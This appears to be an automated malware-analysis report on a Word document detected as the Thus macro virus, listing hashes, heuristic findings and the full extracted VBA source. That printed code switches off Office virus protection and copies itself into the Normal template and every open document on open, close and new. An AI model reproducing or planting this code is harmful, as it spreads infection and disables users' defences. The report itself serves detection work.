Office (OLE) malware analysis — malicious · c3171e3cc2c5d609

MALICIOUS

Office (OLE)

48.5 KB Created: 2006-01-11 21:34:00 Authoring application: Microsoft Word 11.5.0 First seen: 2012-07-06

MD5: 38ff2fa18ecddb70d49fb5932ae340c4 SHA-1: c73383790f9a6bdec0bead2276a20e120bdc88b8 SHA-256: c3171e3cc2c5d609e1379f7cb84ef257857a470e1b7d0a31f0f5cf2884dba3dd

208 Risk Score

Heuristics 4

ClamAV: Doc.Trojan.Thus-10 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Thus-10
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION

VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
Matched line in script
```
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Smyser'" Then
```
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
```

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	2289 bytes
SHA-256: `5fbc0a0b56f7be963a009d993b45c47c21a45bd5caf63e8536cdf550196ab5f4`
Detection ClamAV: Doc.Trojan.Thus-10 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Open() 'Thus_001' 'Anti-Smyser' ' This virus is an alteration of a virus which was ' designed to delete all files from one's C: drive on Dec 13th. ' This code is completely benign. On Error Resume Next Application.Options.VirusProtection = False If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Smyser'" Then NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _ .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _ .CodeModule.CountOfLines End If If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _ .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _ .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _ .Item(1).CodeModule.CountOfLines) End If If NormalTemplate.Saved = False Then NormalTemplate.Save For k = 1 To Application.Documents.Count If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Smyser'" Then Application.Documents.Item(k).VBProject.VBComponents.Item(1) _ .CodeModule.DeleteLines 1, Application.Documents.Item(k) _ .VBProject.VBComponents.Item(1).CodeModule.CountOfLines End If If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then Application.Documents.Item(k).VBProject.VBComponents.Item(1) _ .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _ .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _ .VBComponents.Item(1).CodeModule.CountOfLines) End If Next k End Sub Private Sub Document_Close() Document_Open End Sub Private Sub Document_New() Document_Open End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.